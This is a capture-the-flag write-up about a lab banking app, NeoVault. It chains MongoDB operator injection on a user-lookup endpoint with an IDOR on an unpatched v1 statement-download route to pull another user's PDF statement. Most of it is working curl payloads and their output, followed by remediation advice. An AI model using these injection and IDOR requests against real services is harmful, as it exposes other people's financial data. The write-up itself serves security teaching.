Summary
NeoVault is a small banking app (Next.js frontend + REST API) that lets users register, transfer funds, and download PDF statements. The API ships in two parallel versions, v1 and v2. v2 patched an authorization bug on the statement-download endpoint but left the vulnerable v1 route reachable, and a separate lookup endpoint (/api/v2/auth/inquire) was vulnerable to MongoDB operator injection. Chaining the two — using the injection to find a target user's ObjectId, then feeding that ID into the unpatched v1 download endpoint — pulls another user's bank statement, which contains the flag.
Recon — mapping the API
Started by just poking the app manually with curl to see what was there:
curl http://<MACHINE-IP>:31964/login
This returned the full server-rendered HTML of a Next.js login page — email/password form, a link to /register. Nothing API-specific in the raw HTML itself, but Next.js ships its client bundle references inline (self.__next_f.push(...)), which point at the JS chunks that actually drive the forms. Same story on /register, which showed a username/email/password form instead.
Tried posting directly to the page route to see if it doubled as an API endpoint:
curl http://<MACHINE-IP>:31964/register \
-H "Content-Type: application/json" \
-d '{"username":"tester001", "email":"a@a.com", "password":"testtest"}'
405: Method Not Allowed
Confirms /register is a page, not an API route — the real submit handler lives elsewhere. Pulled the JS chunks referenced by the login/register pages and grepped them for API paths:
curl -s http://<MACHINE-IP>:31964/_next/static/chunks/942-89a992883d25b0cc.js -o form-shared.js
curl -s http://<MACHINE-IP>:31964/_next/static/chunks/app/register/page-c76900542afe702c.js -o register-page.js
curl -s http://<MACHINE-IP>:31964/_next/static/chunks/app/login/page-fd11beaf97df8829.js -o login-page.js
grep -oE '"/api/[a-zA-Z0-9/_-]*"' form-shared.js register-page.js login-page.js
That surfaced the full route map, duplicated across two API versions:
/api/v1/auth/{me,login,register,logout,change-email}
/api/v1/transactions/{,deposit,balance-history,categories-spending,download-transactions}
/api/v2/auth/{me,login,register,logout,change-email,inquire}
/api/v2/transactions/{,deposit,balance-history,categories-spending,download-transactions}
One route has no v1 counterpart: /api/v2/auth/inquire. A v2-only addition usually means newer, less battle-tested code — worth prioritizing.
A cleaner look at the same data came out of the endpoint config object bundled in register-page.js:
{endpointsV1:{me:"/api/v1/auth/me", login:"/api/v1/auth/login", ..., downloadTransactions:"/api/v1/transactions/download-transactions"},
endpointsV2:{me:"/api/v2/auth/me", login:"/api/v2/auth/login", ..., downloadTransactions:"/api/v2/transactions/download-transactions", inquireUser:"/api/v2/auth/inquire"}}
Getting an account
curl -s -X POST http://<MACHINE-IP>:31964/api/v2/auth/register \
-H "Content-Type: application/json" \
-d '{"username":"tester001","email":"a@a.com","password":"testtest"}'
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...."}
The response is a JWT, but the app actually authenticates over an httpOnly cookie named token (confirmed later via curl -v), not a manually-attached Bearer header — the frontend's fetch calls all set credentials:"include". Logging in properly and saving the cookie jar:
curl -s -X POST http://<MACHINE-IP>:31964/api/v2/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"a@a.com","password":"testtest"}' \
-c cookies.txt
curl -s http://<MACHINE-IP>:31964/api/v2/auth/me -b cookies.txt
{"message":"Authorized","_id":"6a5464fb505efa8a78b0cec9","username":"tester001","balance":100,"email":"a@a.com"}
Note: the session cookie is short-lived (Max-Age=3600), so it needed refreshing more than once over the course of the box — a couple of later requests failed with {"message":"Unauthorized"} simply because the cookie had gone stale, not because of a real auth issue.
Vulnerability 1 — NoSQL injection on /api/v2/auth/inquire
A normal lookup by username behaved like a real database query rather than a canned response:
curl -s -G "http://<MACHINE-IP>:31964/api/v2/auth/inquire" \
--data-urlencode 'username=admin' -b cookies.txt
{"message":"User not found"}
Since every _id in the app is a Mongo-style ObjectId, and Express turns bracketed query params (field[$op]=value) into nested objects, this looked like a candidate for MongoDB operator injection — a findOne({ username: req.query.username }) call that never sanitizes what it's handed. Tested it:
curl -s -G "http://<MACHINE-IP>:31964/api/v2/auth/inquire" \
--data-urlencode 'username[$ne]=null' -b cookies.txt
{"_id":"6a546264505efa8a78b0cebb","username":"neo_system"}
Confirmed — sending username[$ne]=null turned the query into "match any user whose username isn't null," and Mongo handed back whichever document it found first (neo_system, the system account that sends the welcome bonus). Excluding known usernames with $nin to dig further:
curl -s -G "http://<MACHINE-IP>:31964/api/v2/auth/inquire" \
--data-urlencode 'username[$nin][]=neo_system' \
--data-urlencode 'username[$nin][]=tester001' \
-b cookies.txt
{"_id":"6a546265505efa8a78b0cec0","username":"user_with_flag"}
Found the target account and its ObjectId. The /inquire response only ever leaks _id and username though, no matter how it's queried — confirmed with a direct, non-injected lookup:
curl -s -G "http://<MACHINE-IP>:31964/api/v2/auth/inquire" \
--data-urlencode 'username=user_with_flag' -b cookies.txt
{"_id":"6a546265505efa8a78b0cec0","username":"user_with_flag"}
Same limited fields either way, so this endpoint is a stepping stone to get an ObjectId, not the full exploit.
Also tried the same trick against /api/v2/auth/login, hoping for an auth bypass:
curl -s -X POST "http://<MACHINE-IP>:31964/api/v2/auth/login" \
-H "Content-Type: application/json" \
-d '{"username":"user_with_flag","password":{"$ne":null}}'
{"message":"Validation failed","errors":[{},{}]}
No luck — login has real input validation (Joi/express-validator style), so this injection class was only live on the newer, less-tested /inquire route.
Dead end — poking /transactions and /deposit for IDOR params
Before finding the real bug, spent some time trying to pass a target user ID directly to the transactions list and deposit endpoints, on the theory they might accept a userId/toUser override:
curl -s "http://<MACHINE-IP>:31964/api/v2/transactions?userId=6a546265505efa8a78b0cec0" -b cookies.txt | jq
{
"transactions": [ { ... same single "Welcome bonus credit" transaction as before ... } ],
"pagination": { "total": 1, "page": 1, "pages": 1 }
}
The userId param was silently ignored — results stayed scoped to the logged-in session regardless. Same with a path-style ID and a body-based userId on deposit:
curl -s "http://<MACHINE-IP>:31964/api/v2/transactions/6a546265505efa8a78b0cec0" -b cookies.txt
Cannot GET /api/v2/transactions/6a546265505efa8a78b0cec0
curl -s -X POST "http://<MACHINE-IP>:31964/api/v2/transactions/deposit" -b cookies.txt \
-H "Content-Type: application/json" \
-d '{"toUser":"6a546265505efa8a78b0cec0","amount":1,"description":"test"}'
{"message":"Unauthorized"}
(That last "Unauthorized" turned out to just be a stale cookie at the time, not a real rejection of the field — but the userId override on /transactions genuinely doesn't work either way.) None of these panned out; v2 transaction endpoints correctly scope everything server-side. The real bug turned out to live on the download endpoint instead, and specifically on its v1 counterpart.
Vulnerability 2 — IDOR via legacy API version on statement download
The transactions tab in the app exposes a PDF statement download:
curl -s -X POST "http://<MACHINE-IP>:31964/api/v2/transactions/download-transactions" -b cookies.txt -o out.pdf
file out.pdf
out.pdf: PDF document, version 1.3, 1 page(s)
pdftotext out.pdf -
NeoVault BANK STATEMENT
Account Holder Information
Username: tester001
...
Total Credits: $100.00
Total Debits: $0.00
Passing an arbitrary userId in the v2 request body was silently ignored, same as the transactions list — v2 correctly scopes the statement to the authenticated session no matter what's in the body. Confirmed auth was actually enforced (not a no-op check) by sending the request with no cookie at all:
curl -s -X POST "http://<MACHINE-IP>:31964/api/v2/transactions/download-transactions"
{"message":"Unauthorized"}
The interesting behavior showed up on v1: calling the equivalent old-version route with an _id field in the body works, and works for any ID — meaning v1 never got the session-scoping fix v2 has, and instead trusts a client-supplied identifier directly:
curl -s -X POST "http://<MACHINE-IP>:31964/api/v1/transactions/download-transactions" \
-b cookies.txt \
-H "Content-Type: application/json" \
-d '{"_id":"6a546265505efa8a78b0cec0"}' \
-o flag_user_statement.pdf
file flag_user_statement.pdf
flag_user_statement.pdf: PDF document, version 1.3, 1 page(s)
pdftotext flag_user_statement.pdf -
NeoVault BANK STATEMENT
Account Holder Information
Username: user_with_flag
Date From To Description Amount
7/6/2026 user_with_flag user_with_flag HTB{REDACTED} 1337.00
7/6/2026 neo_system user_with_flag Welcome bonus credit 1337.00
Transaction Summary
Total Credits: $0.00
Total Debits: $2674.00
Supplying user_with_flag's ObjectId to the v1 endpoint returned their full statement with zero check that the requester owned that account — a classic Broken Object-Level Authorization / IDOR bug, made exploitable specifically because the "fixed" version's authorization logic was never backported (or removed) from the old one. The flag sits in the description field of a self-transaction the target account made to itself — planted somewhere only a full statement pull would reveal it.
Attack Chain
Register account → Authenticate (httpOnly cookie: token)
│
▼
Enumerate API routes via Next.js JS bundles
(find /api/v2/auth/inquire — v2-only, no v1 equivalent)
│
▼
NoSQL operator injection on /api/v2/auth/inquire
username[$ne]=null / username[$nin][]=...
→ leaks ObjectIds of other users (neo_system, user_with_flag)
│
▼
Downgrade to /api/v1/transactions/download-transactions
(unpatched: accepts client-supplied _id, no ownership check)
│
▼
POST { "_id": "<user_with_flag ObjectId>" }
→ downloads user_with_flag's PDF bank statement
│
▼
Flag sits in a transaction description inside the PDF
Key Vulnerabilities
| # | Vulnerability | Location | Impact |
|---|---|---|---|
| 1 | NoSQL operator injection ($ne, $nin) |
GET /api/v2/auth/inquire |
Enumerate arbitrary user accounts and their ObjectIds |
| 2 | Broken Object-Level Authorization (IDOR) | POST /api/v1/transactions/download-transactions |
Download any user's PDF bank statement by supplying their _id
|
| 3 | Inconsistent security posture across API versions | v1 vs v2 routes | Legacy endpoints left live without the authorization fixes applied to the current version |
Root Cause & Fix
-
Sanitize query/body input before it reaches a Mongoose query. Reject non-string types on fields like
username, or useexpress-mongo-sanitizeto strip$-prefixed keys. - Retire deprecated API versions, or ensure every version enforces the same authorization checks as the current one — don't fix a bug in v2 and leave v1 reachable with the old, vulnerable logic.
- Never trust a client-supplied user/account identifier for "my own resource" actions. Always derive the target user from the authenticated session server-side, not from the request body.
Tools Used
-
curl— manual request crafting, endpoint discovery, auth flow -
grep— extracting API routes and endpoint config out of Next.js JS bundles -
pdftotext(poppler-utils) — extracting text from downloaded PDF statements
Top comments (0)